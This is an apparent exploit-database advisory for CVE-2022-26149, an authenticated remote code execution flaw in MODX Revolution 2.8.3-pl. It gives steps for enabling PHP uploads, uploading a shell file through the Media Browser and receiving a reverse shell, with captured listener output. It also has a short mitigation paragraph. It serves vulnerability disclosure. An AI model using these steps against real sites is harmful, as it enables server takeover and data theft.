MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution

vendor:

MODX Revolution

by:

Sarang Tumne

7.2

CVSS

HIGH

Authenticated Remote Code Execution

CWE

Product Name: MODX Revolution

Affected Version From: 2.8.3-pl

Affected Version To: 2.8.3-pl

Patch Exists: NO

Related CWE: CVE-2022-26149

CPE: modx:revolution:2.8.3-pl

Metasploit:

Other Scripts:

Platforms Tested:

2022

MODX Revolution v2.8.3-pl – Authenticated Remote Code Execution

This exploit allows an authenticated user to execute remote code on MODX Revolution version 2.8.3-pl. The exploit involves abusing the functionality of uploading files by adding the .php file extension to the 'Uploadable File Types' option in 'System Settings'. The attacker can then upload a shell.php file through the Media Browser and gain a reverse shell.

Mitigation:

To mitigate this vulnerability, the vendor should release a patch that fixes the file upload functionality and restricts the uploadable file types. Users are advised to update to a patched version or implement access controls to prevent unauthorized access.

Source

Exploit-DB raw data:

# Exploit Title: MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) 
# Date: 26th Feb'2022
# CVE ID: CVE-2022-26149
# Confirmed on release 2.8.3-pl
# Reference: https://github.com/sartlabs/0days/blob/main/Modx/Exploit.txt
# Vendor: https://modx.com/download

###############################################
#Step1- Login with Admin Credentials
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
        Add the php file extension under the "Uploadable File Types" option available in "System Settings" 
#Step3- Now Goto Media=>Media Browser and upload the Shell.php
#Step4- Now visit http://IP_Address/Shell.php and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 58056
bash: cannot set terminal process group (1445): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/modx$